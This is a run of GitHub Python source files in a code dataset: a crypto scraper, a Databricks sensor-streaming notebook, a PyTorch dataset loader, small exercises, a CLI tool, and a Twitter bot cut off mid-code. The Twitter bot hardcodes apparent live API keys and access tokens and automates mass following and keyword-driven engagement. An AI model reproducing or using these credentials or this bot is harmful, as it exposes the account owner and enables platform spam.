cryptos\n crypto_names_prices = {}\n\n # getting names and prices\n top_10_crypto_names = []\n top_10_crypto_price = []\n\n for i in top_10_crypto_data:\n \n for j in range(1,3):\n if j==1:\n top_10_crypto_names.append(i[j])\n else:\n top_10_crypto_price.append(i[j])\n \n\n # Formatting ambiguited names\n formatted_top_10_crypto_names = []\n\n for i,name in enumerate(top_10_crypto_names,1):\n split_name = name.split(f\"{i}\")\n # print(split_name)\n formatted_top_10_crypto_names.append(split_name[0])\n\n\n # converting string price to numeric\n numeric_top_10_crypto_price = []\n\n for price in top_10_crypto_price:\n price1 = price.split(\"$\")\n for t in price1:\n if t!=\"\":\n t1 = t.split(\",\")\n numeric_top_10_crypto_price.append(float(\"\".join(t1)))\n\n # storing in dict.\n crypto_names_prices['name'] = formatted_top_10_crypto_names\n crypto_names_prices[\"price\"] = numeric_top_10_crypto_price\n\n\n # creating dataframe of data\n top10 = pd.DataFrame(crypto_names_prices,index=[1,2,3,4,5,6,7,8,9,10])\n\n print(top10)\n\n\n # Plotting bar chart of data\n top10.plot.bar(x='name',y='price')\n\n # waiting for next request.\n time.sleep(300)","repo_name":"HeyBuddy-NSK/Web-Scraping-Projects","sub_path":"crypto_site_scraping.py","file_name":"crypto_site_scraping.py","file_ext":"py","file_size_in_byte":2879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23314796773","text":"\"\"\"\ndisplay menu\nget choice\nwhile choice != quit option\n if choice == first option\n do first task\n else if choice == \n do second task\n ...\n else if choice == \n do n-th task\n else\n display invalid input error message\n display menu\n get choice\ndo final thing, if needed\n\"\"\"\nchoice = ''\nwhile choice != 'Q':\n print(\"\"\"\n First Option: A\n Second Option: B\n Third Option: C\n Exit/Quit: Q\n \"\"\")\n choice = str.upper(input('What is your choice: '))\n if choice == 'A':\n print('First Option Selected')\n elif choice == 'B':\n print('Second Option Selected')\n elif choice == 'C':\n print('Third Option Selected')\n elif choice == 'Q':\n print('Goodbye')\n else:\n print('Invalid Option')","repo_name":"ellBasso/CP1404_Practicals","sub_path":"prac_01/menus.py","file_name":"menus.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20515071673","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC

Data Engineering Pipeline

\n# MAGIC \n# MAGIC

Structured Streaming With Sensor Data

\n# MAGIC \n# MAGIC
  • Structured Streaming can use the same code, whether streaming or performing ad-hoc analysis.
  • \n# MAGIC
  • Read a table, perform modelling, report on data in real time.
  • \n# MAGIC
  • Debug and Develop with same code.
  • \n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ## Current Stage: Raw --> Bronze\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC \n\n# COMMAND ----------\n\n# DBTITLE 1,Imports\nfrom pyspark.sql.functions import *\nfrom pyspark.sql.types import *\nimport uuid \n\n# COMMAND ----------\n\n\nspark.sql(\"\"\"CREATE DATABASE IF NOT EXISTS streamingdemos\"\"\")\nspark.sql(\"\"\"USE streamingdemos\"\"\")\n\n# COMMAND ----------\n\n##### Get Parameters for Notebook\n\ndbutils.widgets.dropdown(\"Run Mode\", \"Stream\", [\"Static\", \"Stream\"])\nrunMode = dbutils.widgets.get(\"Run Mode\")\n\ndbutils.widgets.text(\"File Name\", \"\")\nfileName = dbutils.widgets.get(\"File Name\")\n\ndbutils.widgets.dropdown(\"Start Over\", \"No\", [\"Yes\", \"No\"])\nstart_over = dbutils.widgets.get(\"Start Over\")\n\n## Set up source and checkpoints\nfile_source_location = f\"dbfs:/FileStore/shared_uploads/cody.davis@databricks.com/IotDemo/\" #s3://codyaustindavisdemos/Demo/sales/\"\ncheckpoint_location = f\"dbfs:/FileStore/shared_uploads/cody.davis@databricks.com/IotDemoCheckpoints/RawToBronze/\"\n\nprint(\"Now running Weather Data Streaming Service...\")\nprint(f\"...from source location {file_source_location}\")\nprint(f\"Run Mode: {runMode}\")\nprint(f\"Start Over? : {start_over}\")\n\nif runMode == \"Static\":\n print(f\"Running file: {fileName}\")\n\n# COMMAND ----------\n\n#### Register udf for generating UUIDs\nuuidUdf= udf(lambda : str(uuid.uuid4()),StringType())\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Define Schema: Can be defined in separate directly and managed in Git for advanced schema evolution with Delta\n\n# COMMAND ----------\n\nweatherInputSensorSchema = StructType([StructField(\"Skip\", StringType(), True),\n StructField(\"SkipResult\", StringType(), True),\n StructField(\"SkipTable\", StringType(), True),\n StructField(\"WindowAverageStartDateTime\", TimestampType(), True),\n StructField(\"WindowAverageStopDateTime\", TimestampType(), True),\n StructField(\"MeasurementDateTime\", TimestampType(), True),\n StructField(\"SensorValue\", DecimalType(), True),\n StructField(\"SensorUnitDescription\", StringType(), True),\n StructField(\"SensorMeasurement\", StringType(), True),\n StructField(\"SensorLocation\", StringType(), True),\n StructField(\"Id\", StringType(), True)]\n )\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ##### Read file: Same output for either stream or static mode\n\n# COMMAND ----------\n\n##### Read file: Same output for either stream or static mode\n\nif runMode == \"Static\":\n \n df_raw = (spark\n .read\n .option(\"header\", \"true\")\n .option(\"inferSchema\", \"true\")\n .schema(weatherInputSensorSchema) #infer\n .format(\"csv\")\n .load(file_source_location + fileName)\n .withColumn(\"Id\", uuidUdf())\n )\n \nelif runMode == \"Stream\":\n \n df_raw = (spark\n .readStream\n .format(\"csv\")\n .schema(weatherInputSensorSchema)\n .load(file_source_location)\n .withColumn(\"Id\", uuidUdf())\n .withColumn(\"InputFileName\", input_file_name())\n )\n\n# COMMAND ----------\n\n##### Do ETL/Modelling as needed for products\n\n##### In this example we read 1 source of sensor data, and create a model of 5 delta tables that drive an analytics dashboard\ndf_cleaned = (df_raw\n .filter((col(\"WindowAverageStartDateTime\").isNotNull()) & (col(\"SensorValue\").isNotNull())) \n .drop(\"Skip\", \"SkipResult\", \"SkipTable\", \"WindowAverageStartDateTime\", \"WindowAverageStopDateTime\")\n )\n\n# COMMAND ----------\n\n#display(df_cleaned)\n\n# COMMAND ----------\n\n# MAGIC %md \n# MAGIC \n# MAGIC ## Stream one source to multiple sinks!\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC \n\n# COMMAND ----------\n\n# DBTITLE 1,Create a global temp view to be used later in the job\ndf_raw_sensors = (spark\n .read\n .option(\"header\", \"true\")\n .option(\"inferSchema\", \"true\")\n .schema(weatherInputSensorSchema) #infer\n .format(\"csv\")\n .load(file_source_location + fileName)\n .withColumn(\"Id\", uuidUdf())\n .filter((col(\"WindowAverageStartDateTime\").isNotNull()) & (col(\"SensorValue\").isNotNull())) \n .drop(\"Skip\", \"SkipResult\", \"SkipTable\", \"WindowAverageStartDateTime\", \"WindowAverageStopDateTime\")\n .select(\"SensorMeasurement\")\n .distinct()\n )\n \ndf_raw_sensors.createOrReplaceGlobalTempView(\"unique_sensors\")\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ## Perform Advacned ETL Logic inside the forEachBatch function\n\n# COMMAND ----------\n\n##### This is the modelling logic that is the same regarding stream or file mode\n##### Note: We can also do tons of things with Delta merges, and parallel processing, all can fit!\n\ndef ModelSourceSensorData(microBatchDf, BatchId):\n \n #### If we want to make incremental, then we can insert merge statements here!!\n #print(BatchId)\n \n df_airTemp = (microBatchDf\n .filter(col(\"SensorMeasurement\")== lit(\"average_temperature\"))\n ## Do any ETL\n )\n \n df_waterQuality = (microBatchDf\n .filter(col(\"SensorMeasurement\")== lit(\"h2o_quality\"))\n )\n \n df_waterPH = (microBatchDf\n .filter(col(\"SensorMeasurement\")== lit(\"h2o_pH\"))\n )\n \n df_waterTemp = (microBatchDf\n .filter(col(\"SensorMeasurement\")== lit(\"h2o_temperature\"))\n )\n \n df_waterDepth = (microBatchDf\n .filter(col(\"SensorMeasurement\")== lit(\"h2o_depth\"))\n )\n \n ### Apply schemas\n \n ## Look up schema registry, check to see if the events in each subtype are equal to the most recently registered schema, Register new schema\n \n \n ##### Write to sink location\n microBatchDf.write.format(\"delta\").mode(\"overwrite\").option(\"mergeSchema\", \"true\").option(\"path\", \"/data/streamingdemos/bronze_allsensors\").mode(\"overwrite\").saveAsTable(\"streamingdemos.bronze_allsensors\")\n df_waterDepth.write.format(\"delta\").mode(\"overwrite\").option(\"mergeSchema\", \"true\").option(\"path\", \"/data/streamingdemos/bronze_waterdepthsensor\").mode(\"overwrite\").saveAsTable(\"streamingdemos.Bronze_WaterDepthSensor\")\n df_airTemp.write.format(\"delta\").mode(\"overwrite\").option(\"path\", \"/data/streamingdemos/bronze_airtempsensor\").saveAsTable(\"streamingdemos.Bronze_AverageAirTemperatureSensor\")\n df_waterQuality.write.format(\"delta\").mode(\"overwrite\").option(\"path\", \"/data/streamingdemos/bronze_waterqualitysensor\").saveAsTable(\"streamingdemos.Bronze_WaterQualitySensor\")\n df_waterPH.write.format(\"delta\").mode(\"overwrite\").option(\"path\", \"/data/streamingdemos/bronze_waterphsensor\").saveAsTable(\"streamingdemos.Bronze_WaterPhSensor\")\n df_waterTemp.write.format(\"delta\").mode(\"overwrite\").option(\"path\",\"/data/streamingdemos/bronze_watertemperaturesensor\").saveAsTable(\"streamingdemos.Bronze_WaterTemperatureSensor\")\n \n return\n\n# COMMAND ----------\n\nif start_over == \"Yes\":\n dbutils.fs.rm(checkpoint_location, recurse=True)\n dbutils.fs.rm(\"/data/streamingdemos/bronze_allsensors\", recurse=True)\n dbutils.fs.rm(\"/data/streamingdemos/bronze_waterdepthsensor\", recurse=True)\n dbutils.fs.rm(\"/data/streamingdemos/bronze_airtempsensor\", recurse=True)\n dbutils.fs.rm(\"/data/streamingdemos/bronze_waterqualitysensor\", recurse=True)\n dbutils.fs.rm(\"/data/streamingdemos/bronze_waterphsensor\", recurse=True)\n dbutils.fs.rm(\"/data/streamingdemos/bronze_watertemperaturesensor\", recurse=True)\n dbutils.fs.rm(\"/data/streamingdemos/bronze_fullstreamfromkafka\", recurse=True)\n\n# COMMAND ----------\n\n# DBTITLE 1,Write Stream\n#### Actually execute stream or file run with same logic!\n\nif runMode == \"Static\":\n \n ModelSourceSensorData(df_cleaned, 1)\n \nelif runMode == \"Stream\":\n ### Using For each batch - microBatchMode\n (df_cleaned\n .writeStream\n .trigger(once=True) #1. Continous - 5 min, ProcessingTime='1 second', availableNow=True\n .option(\"checkpointLocation\", checkpoint_location)\n .foreachBatch(ModelSourceSensorData)\n .start()\n )\n\n# COMMAND ----------\n\n# DBTITLE 1,Standard Streaming\n\"\"\"\n\ndf_raw = (spark\n .readStream\n .format(\"csv\")\n .option(\"header\", \"true\")\n .schema(weatherInputSensorSchema)\n .load(file_source_location)\n .withColumn(\"Id\", uuidUdf())\n .withColumn(\"InputFileName\", input_file_name())\n )\n\n(df_raw\n .writeStream\n.trigger(once=True) #processingTime = '1m', continuous='30 seconds'\n.option(\"checkpointLocation\", checkpoint_location)\n.option(\"path\", \"/data/codydemos/bronze_fullstreamfromkafka\")\n.table(\"streamingdemos.BronzeFullStreamFromKafka\")\n)\n\"\"\"\n","repo_name":"CodyAustinDavis/streaming_demos","sub_path":"IoT Data Streaming Demos/RawToBronzePipeline.py","file_name":"RawToBronzePipeline.py","file_ext":"py","file_size_in_byte":9561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"44081088513","text":"import os\r\nimport io\r\nimport pickle\r\nimport torch\r\nimport numpy as np\r\nimport random\r\nimport torch.nn as nn\r\nfrom torch.autograd import Variable\r\nimport torch.utils.data as data\r\nimport torchvision.transforms as transforms\r\nfrom PIL import Image\r\nfrom miscc.config import cfg\r\nfrom miscc.manu_data import vip_attr_list, vip_split_attr, vip_attr_keys\r\nfrom miscc.utils import load_acts_data, load_bytes_data, get_activations\r\nfrom models.Pmodel import INCEPTION_V3_FID\r\n\r\ndef prepare_train_data(data):\r\n imgs, segs, pooled_segs, att, class_id, acts, filenames = data\r\n real_imgs = []\r\n for i in range(len(imgs)):\r\n real_imgs.append(Variable(imgs[i]).cuda())\r\n\r\n real_segs, real_pooled_segs = [], []\r\n for i in range(len(segs)):\r\n real_segs.append(Variable(segs[i].float()).cuda())\r\n real_pooled_segs.append(Variable(pooled_segs[i].float()).cuda())\r\n att = Variable(att).cuda()\r\n class_id = class_id.numpy()\r\n acts = acts.numpy()\r\n return [real_imgs, real_segs, real_pooled_segs, att, class_id, acts, filenames]\r\n\r\ndef prepare_acts_data(data):\r\n imgs, names = data\r\n real_imgs = []\r\n for i in range(len(imgs)):\r\n real_imgs.append(Variable(imgs[i]).cuda())\r\n\r\n return [real_imgs, names]\r\n\r\nclass LabelDataset(data.Dataset):\r\n def __init__(self, transform, split):\r\n self.split = split\r\n self.vip_attr_num = len(vip_attr_list)\r\n self.vip_split_num = len(vip_split_attr)\r\n self.transform = transform\r\n self.norm = transforms.Compose([\r\n transforms.ToTensor(),\r\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\r\n self.imsize = []\r\n base_size_width = cfg.TREE.BASE_SIZE_WIDTH\r\n base_size_height = cfg.TREE.BASE_SIZE_HEIGHT\r\n for i in range(cfg.TREE.BRANCH_NUM):\r\n self.imsize.append([base_size_height, base_size_width])\r\n base_size_height *= 2\r\n base_size_width *= 2\r\n if split == 'train': self.batch_size = cfg.TRAIN.BATCH_SIZE\r\n elif split == 'test': self.batch_size = cfg.TEST.BATCH_SIZE\r\n \r\n att_path = os.path.join(cfg.DATA_DIR, 'att_anno.pkl')\r\n with open(att_path, 'rb') as f:\r\n self.att_dict = pickle.load(f)\r\n self.video_inds = self.load_video_inds()\r\n self.filenames = self.load_filenames()\r\n self.class_ids = self.load_class_ids()\r\n self.atts = self.process_atts()\r\n\r\n self.img_bytes = load_bytes_data(split, self.filenames, 'imgs', '.png')\r\n self.seg_bytes = load_bytes_data(split, self.filenames, 'segs', '.png')\r\n\r\n self.acts_dict = self.load_acts()\r\n\r\n def load_video_inds(self):\r\n filepath = os.path.join(cfg.DATA_DIR, self.split, 'videos.txt')\r\n with open(filepath, 'rb') as f:\r\n video_inds = f.readlines()\r\n\r\n video_inds = [int(ind.rstrip()[6:]) for ind in video_inds]\r\n return video_inds\r\n\r\n def load_filenames(self):\r\n filepath = os.path.join(cfg.DATA_DIR, self.split, 'filenames.pickle')\r\n if os.path.isfile(filepath):\r\n with open(filepath, 'rb') as f:\r\n filenames = pickle.load(f)\r\n print('Load filenames from: %s (%d)' % (filepath, len(filenames)))\r\n else:\r\n filenames = []\r\n for key in self.att_dict:\r\n video_name, class_name, frame_name, human_fake_id = key.split('_')\r\n video_index = int(video_name[6:])\r\n if video_index not in self.video_inds:\r\n continue\r\n filename = os.path.join(video_name, class_name, frame_name + '_' + human_fake_id)\r\n img_path = os.path.join(cfg.DATA_DIR, 'imgs', '{}.png'.format(filename))\r\n seg_path = os.path.join(cfg.DATA_DIR, 'segs', '{}.png'.format(filename))\r\n if os.path.exists(img_path) and os.path.exists(seg_path):\r\n filenames.append(filename)\r\n\r\n with open(filepath, 'wb') as f:\r\n pickle.dump(filenames, f)\r\n print('Save to: ', filepath)\r\n\r\n return filenames\r\n\r\n def load_class_ids(self):\r\n filepath = os.path.join(cfg.DATA_DIR, self.split, 'class_ids.pickle')\r\n if os.path.isfile(filepath):\r\n with open(filepath, 'rb') as f:\r\n class_ids = pickle.load(f)\r\n print('Load class_ids from: %s (%d)' % (filepath, len(class_ids)))\r\n else:\r\n class_ids = []\r\n class_id_dict = {}\r\n cnt_id = 1\r\n for key in self.att_dict:\r\n video_name, class_name, frame_name, human_fake_id = key.split('_')\r\n video_index = int(video_name[6:])\r\n\r\n if video_index not in self.video_inds:\r\n continue\r\n\r\n class_id = video_name + '_' + class_name\r\n if class_id not in class_id_dict:\r\n class_id_dict[class_id] = cnt_id\r\n cnt_id = cnt_id + 1\r\n class_ids.append(class_id_dict[class_id])\r\n\r\n with open(filepath, 'wb') as f:\r\n pickle.dump(class_ids, f)\r\n print('Save to: ', filepath)\r\n\r\n return class_ids\r\n\r\n def process_atts(self):\r\n filepath = os.path.join(cfg.DATA_DIR, self.split, 'atts.pickle')\r\n if os.path.isfile(filepath):\r\n with open(filepath, 'rb') as f:\r\n atts = pickle.load(f)\r\n print('Load att_sets from: %s (%d)' % (filepath, len(atts)))\r\n else:\r\n atts = []\r\n for key in self.att_dict:\r\n video_name, class_name, frame_name, human_fake_id = key.split('_')\r\n video_index = int(video_name[6:])\r\n\r\n if video_index not in self.video_inds:\r\n continue\r\n\r\n raw_att = self.att_dict[key]\r\n att = np.zeros([self.vip_split_num, self.vip_attr_num])\r\n for i, att_name in enumerate(vip_attr_keys):\r\n label_indexes = raw_att[att_name].split(',')\r\n for label_index in label_indexes:\r\n label_index = int(label_index)\r\n att[i, vip_split_attr[i] + label_index] = 1\r\n atts.append(att)\r\n\r\n with open(filepath, 'wb') as f:\r\n pickle.dump(atts, f)\r\n print('Save to: ', filepath)\r\n\r\n return atts\r\n\r\n def process_imgs(self, img_byte, seg_byte):\r\n img = Image.open(io.BytesIO(img_byte)).convert('RGB')\r\n seg = Image.open(io.BytesIO(seg_byte))\r\n\r\n if self.transform is not None:\r\n img, seg = self.transform(img, seg)\r\n\r\n ret = []\r\n new_segs = []\r\n pooled_segs = []\r\n\r\n for i in range(cfg.TREE.BRANCH_NUM):\r\n if i < (cfg.TREE.BRANCH_NUM - 1):\r\n re_img = transforms.Resize(self.imsize[i])(img)\r\n re_seg = transforms.Resize(self.imsize[i], Image.NEAREST)(seg)\r\n else:\r\n re_img = img\r\n re_seg = seg\r\n ret.append(self.norm(re_img))\r\n re_seg = np.asarray(re_seg)\r\n new_seg = np.zeros([cfg.GAN.P_NUM, self.imsize[i][0], self.imsize[i][1]])\r\n\r\n for j in range(cfg.GAN.P_NUM):\r\n if j == 12: continue # face\r\n new_seg[j, re_seg == (j + 1) * 10] = 1\r\n pooled_seg = np.amax(new_seg, axis=0)\r\n pooled_segs.append(pooled_seg)\r\n new_segs.append(new_seg)\r\n\r\n return ret, new_segs, pooled_segs\r\n\r\n def dump_fid_acts(self, filepath):\r\n incep_path = os.path.join(cfg.PRETRAINED_DIR, 'inception_v3_google-1a9a5a14.pth')\r\n incep_state_dict = torch.load(incep_path, map_location=lambda storage, loc: storage)\r\n\r\n block_idx = INCEPTION_V3_FID.BLOCK_INDEX_BY_DIM[cfg.TEST.FID_DIMS]\r\n inception_model_fid = INCEPTION_V3_FID(incep_state_dict, [block_idx])\r\n inception_model_fid.cuda()\r\n inception_model_fid = nn.DataParallel(inception_model_fid)\r\n inception_model_fid.eval()\r\n act_dataset = create_acts_dataset(self.split, self.img_bytes, self.filenames)\r\n act_dataloader = torch.utils.data.DataLoader(\r\n act_dataset, batch_size=self.batch_size, drop_last=False, \r\n shuffle=False, num_workers=int(cfg.WORKERS))\r\n acts_dict = {}\r\n count = 0\r\n for step, data in enumerate(act_dataloader):\r\n if count % 10 == 0:\r\n print('%07d / %07d'%(count, self.__len__() / self.batch_size))\r\n imgs, names = prepare_acts_data(data)\r\n batch_size = len(names)\r\n acts = get_activations(imgs[-1], inception_model_fid, batch_size)\r\n for batch_index in range(batch_size):\r\n acts_dict[names[batch_index]] = acts[batch_index]\r\n\r\n count += 1\r\n with open(filepath, 'wb') as f:\r\n pickle.dump(acts_dict, f)\r\n print('Save to: ', filepath)\r\n\r\n return acts_dict\r\n\r\n def load_acts(self):\r\n filepath = os.path.join(cfg.DATA_DIR, self.split, 'acts.pickle')\r\n if os.path.isfile(filepath):\r\n with open(filepath, 'rb') as f:\r\n acts_dict = pickle.load(f)\r\n print('Load acts_dict from: %s (%d)' % (filepath, len(acts_dict)))\r\n else:\r\n acts_dict = self.dump_fid_acts(filepath)\r\n\r\n return acts_dict\r\n\r\n def __getitem__(self, index):\r\n imgs, segs, pooled_segs = self.process_imgs(self.img_bytes[index], self.seg_bytes[index])\r\n att = self.atts[index].astype('float32')\r\n class_id = self.class_ids[index]\r\n acts = self.acts_dict[self.filenames[index]]\r\n return imgs, segs, pooled_segs, att, class_id, acts, self.filenames[index]\r\n\r\n def __len__(self):\r\n return len(self.filenames)\r\n\r\nclass create_acts_dataset(data.Dataset):\r\n def __init__(self, split, img_bytes, filenames):\r\n self.split = split\r\n self.transform = transforms.Compose([\r\n transforms.Resize(\r\n (int(cfg.TREE.BASE_SIZE_HEIGHT * (2 ** (cfg.TREE.BRANCH_NUM - 1))),\r\n int(cfg.TREE.BASE_SIZE_WIDTH * (2 ** (cfg.TREE.BRANCH_NUM - 1))))),\r\n ])\r\n self.norm = transforms.Compose([\r\n transforms.ToTensor(),\r\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\r\n self.imsize = []\r\n base_size_width = cfg.TREE.BASE_SIZE_WIDTH\r\n base_size_height = cfg.TREE.BASE_SIZE_HEIGHT\r\n for i in range(cfg.TREE.BRANCH_NUM):\r\n self.imsize.append([base_size_height, base_size_width])\r\n base_size_height *= 2\r\n base_size_width *= 2\r\n self.img_bytes = img_bytes\r\n self.filenames = filenames\r\n\r\n def get_imgs(self, img_byte):\r\n img = Image.open(io.BytesIO(img_byte)).convert('RGB')\r\n if self.transform is not None:\r\n img = self.transform(img)\r\n ret = []\r\n for i in range(cfg.TREE.BRANCH_NUM):\r\n if i < (cfg.TREE.BRANCH_NUM - 1):\r\n re_img = transforms.Resize(self.imsize[i])(img)\r\n else:\r\n re_img = img\r\n ret.append(self.norm(re_img))\r\n return ret\r\n\r\n def __getitem__(self, index):\r\n imgs = self.get_imgs(self.img_bytes[index])\r\n return imgs, self.filenames[index]\r\n\r\n def __len__(self):\r\n return len(self.filenames)","repo_name":"shuchenweng/MISC","sub_path":"datasets/Vip.py","file_name":"Vip.py","file_ext":"py","file_size_in_byte":11473,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"14633596565","text":"# 20. Valid Parentheses\n# Given a string s containing just the characters '(', ')', '{', '}', '[' and ']', determine if the input string is valid.\n# An input string is valid if:\n# Open brackets must be closed by the same type of brackets.\n# Open brackets must be closed in the correct order.\n\n\nclass Solution:\n def __init__(self):\n self.testCases = []\n self.funcName = \"isValid\"\n\n def defineTestCases(self):\n self.testCases.append(\"()\")\n self.testCases.append(\"()[]{}\")\n self.testCases.append(\"(]\")\n\n def runTests(self):\n for case in self.testCases:\n print(\"Test case:\" + case + \", answer is:\" + str(getattr(self, self.funcName)(case)))\n\n def isValid(self, s: str) -> bool:\n\n openBrackets = '[{('\n mappedBrackets = {\n '}': '{',\n ']': '[',\n ')': '('\n }\n stack = []\n\n for item in s:\n if item in openBrackets:\n stack.append(item)\n else:\n if not stack:\n return False\n else:\n if stack.pop() is not mappedBrackets.get(item):\n return False\n\n return True if not stack else False\n\n # Old saved answer from leetcode\n def isValidBackup(self, s: str) -> bool:\n openBrackets = '[{('\n mappedBrackets = {\n '}': '{',\n ']': '[',\n ')': '('\n }\n stack = []\n\n for item in s:\n if item in openBrackets:\n # Any open bracket is tentatively valid so far\n stack.append(item)\n else:\n # Else, it must be a closed bracket\n if not stack:\n # If currently empty and a closing bracket is found, its invalid so break immediately\n return False\n else:\n # Else, stack is not empty, so attempt to match the currently open bracket\n if stack[-1] is not mappedBrackets.get(item):\n return False\n else:\n # Match was found, pop the current item off stack and continue checking\n stack.pop()\n\n # If the stack is not completely empty, the brackets were not closed\n if not stack:\n return True\n\n\nif __name__ == '__main__':\n soln = Solution()\n soln.defineTestCases()\n soln.runTests()","repo_name":"niko-vulic/sampleAPI","sub_path":"leetcodeTester/q20.py","file_name":"q20.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17372169824","text":"#!/usr/bin/env python3\n\n\n# Title: insertion-sort-recursion.py\n# Abstract: implement insertion sort on inputs from user\n# Author: Seth Pickford\n# Email: spickfor@nd.edu\n# Estimate: 1 hrs\n# Date: 3/19/23\n\n\ndef insertion_sort_recursive(arr, n):\n if n <= 1:\n return\n \n insertion_sort_recursive(arr, n - 1)\n\n key = arr[n - 1]\n j = n - 2\n\n while j >= 0 and arr[j] > key:\n arr[j + 1] = arr[j]\n j -= 1\n\n arr[j + 1] = key\n\n\ndef main():\n numbers = input(\"Enter a list of integers separated by space: \")\n int_list = [int(x) for x in numbers.split()]\n\n sorted_list1 = int_list.copy()\n\n insertion_sort_recursive(sorted_list1, len(sorted_list1))\n\n print(f\"Recursive Insertion Sort: {sorted_list1}\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"spickfor/Data_Structures","sub_path":"challenge05/insertion-sort-recursive.py","file_name":"insertion-sort-recursive.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74665271281","text":"\nimport argparse, os, sys\nimport kae\nfrom shutil import copyfile\n\ndef cli():\n \"\"\"\n 命名程序入口\n \"\"\"\n parser = argparse.ArgumentParser(prog='ka', description='kae工具箱')\n subparsers = parser.add_subparsers(\n title='kae command',\n metavar='command')\n\n # workspace\n status_parser = subparsers.add_parser(\n 'apphere',\n help='在本目录创建新应用')\n status_parser.set_defaults(handle=handle_apphere)\n\n # compile\n add_parser = subparsers.add_parser(\n 'compile',\n help='编译文本')\n add_parser.add_argument(\n 'source',\n help='要编译的源码',\n nargs='*')\n add_parser.set_defaults(handle=handle_compile)\n\n # run\n add_parser = subparsers.add_parser(\n 'run',\n help='运行文本')\n add_parser.add_argument(\n 'source',\n help='要编译运行的源码',\n nargs='*')\n add_parser.set_defaults(handle=handle_run)\n\n args = parser.parse_args()\n if hasattr(args, 'handle'):\n args.handle(args)\n else:\n parser.print_help()\n\n\ndef handle_apphere(args):\n \"\"\"\n 处理 apphere 命令\n \"\"\"\n nowdir = os.path.abspath(\".\")\n kaedir = os.path.split(kae.__file__)[0]\n kaepdir = os.path.split(kaedir)[0]\n conff = os.path.join(kaepdir, \"urlmap.yml\")\n tarf = os.path.join(nowdir, \"kappcnf.yml\")\n copyfile(conff, tarf)\n print(\"new app\", nowdir, kaedir)\n\ndef handle_compile(args):\n \"\"\"\n 处理 compile 命令\n \"\"\"\n print(\"compile\", args.source)\n\ndef handle_run(kae, args):\n \"\"\"\n 处理 run 命令\n \"\"\"\n print(\"run\", args.source)","repo_name":"hotlinv/kaelang","sub_path":"kae/eye.py","file_name":"eye.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"zh","doc_type":"code","stars":24,"dataset":"github-code","pt":"75"} +{"seq_id":"15658395109","text":"import tweepy\nimport time\nimport os\nfrom tkinter import *\n\nconsumer_key = 'AhvCZn4meETltBcQsYNrFk4nw'\nconsumer_secret = 'goGUdUb3Z8VgUE8cygqTEAdflQ5TZVe9R8pBuZzy7bg6XdsMoy'\naccess_token = '1110252920770043908-LaqSnBj6qJ2SqSQLbEMEqRYbjVEj8l'\naccess_token_secret = 'Md2HdObyXGUe33LIhPfVCm22edx68Wnj7ElZRmCLbewL3'\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\napi = tweepy.API(auth)\n\nuser = api.me()\nprint(user.name)\n\n\"\"\"\nLooping through the account's followers and following each one back\n\"\"\"\nfor follower in tweepy.Cursor(api.followers).items():\n\tfollower.follow()\n\t\nprint(\"Followed everyone that is following \" + user.name)\n\n\"\"\"\nCreating a GUI application that will take our inputs of the keyword we would like to search for and favorite the tweet\n\"\"\"\n\nroot = Tk()\nlabel_1 = Label(root, text=\"Search\")\n#label_1.grid(row=0)\ne1 = Entry(root, bd = 4)\n\nlabel_2 = Label(root, text=\"# of Tweets\")\n#label_2.grid(row=1)\ne2 = Entry(root, bd = 4)\n\nlabel_3 = Label(root, text=\"Response\")\n#label_3.grid(row=2)\ne3 = Entry(root, bd = 4)\n\nlabel_4 = Label(root, text=\"Reply\")\n#label_4.grid(row=3)\ne4 = Entry(root, bd = 4)\n\nlabel_5 = Label(root, text=\"Retweet\")\n#label_5.grid(row=4)\ne5 = Entry(root, bd = 4)\n\nlabel_6 = Label(root, text=\"Favorite\")\n#label_6.grid(row=5)\ne6 = Entry(root, bd = 4)\n\nlabel_7 = Label(root, text=\"Follow\")\n#label_7.grid(row=6)\ne7 = Entry(root, bd = 4)\n\n\ndef get_e1():\n\treturn e1.get()\n\ndef get_e2():\n\treturn e2.get()\n\ndef get_e3():\n\treturn e3.get()\n\ndef get_e4():\n\treturn e4.get()\n\ndef get_e5():\n\treturn e5.get()\n\ndef get_e6():\n\treturn e6.get()\n\ndef get_e7():\n\treturn e7.get()\n\n\n\n\n\n\"\"\"\nThis program is a twitter bot to favorite and reply to tweets that mention certain keywords\nTweepy docs: http://docs.tweepy.org/en/3.7.0/\n\"\"\"\n\ndef main():\n\tget_e1()\n\tsearch = get_e1()\n\n\tget_e2()\n\tnumOfTweets = get_e2()\n\tnumOfTweets = int(numOfTweets)\n\n\tget_e3()\n\tresponse = get_e3()\n\n\tget_e4()\n\treply = get_e4()\n\n\tget_e5()\n\tretweet = get_e5()\n\n\tget_e6()\n\tfavorite = get_e6()\n\n\tget_e7()\n\tfollow = get_e7()\n\n\tif reply == \"yes\":\n\t\tfor tweet in tweepy.Cursor(api.search, search).items(numOfTweets):\n\t\t\ttry:\n\t\t\t\tprint('\\nTweet by: @' + tweet.user.screen_name)\n\t\t\t\tprint('Twitter ID: @' + str(tweet.user.id))\n\t\t\t\ttweetId 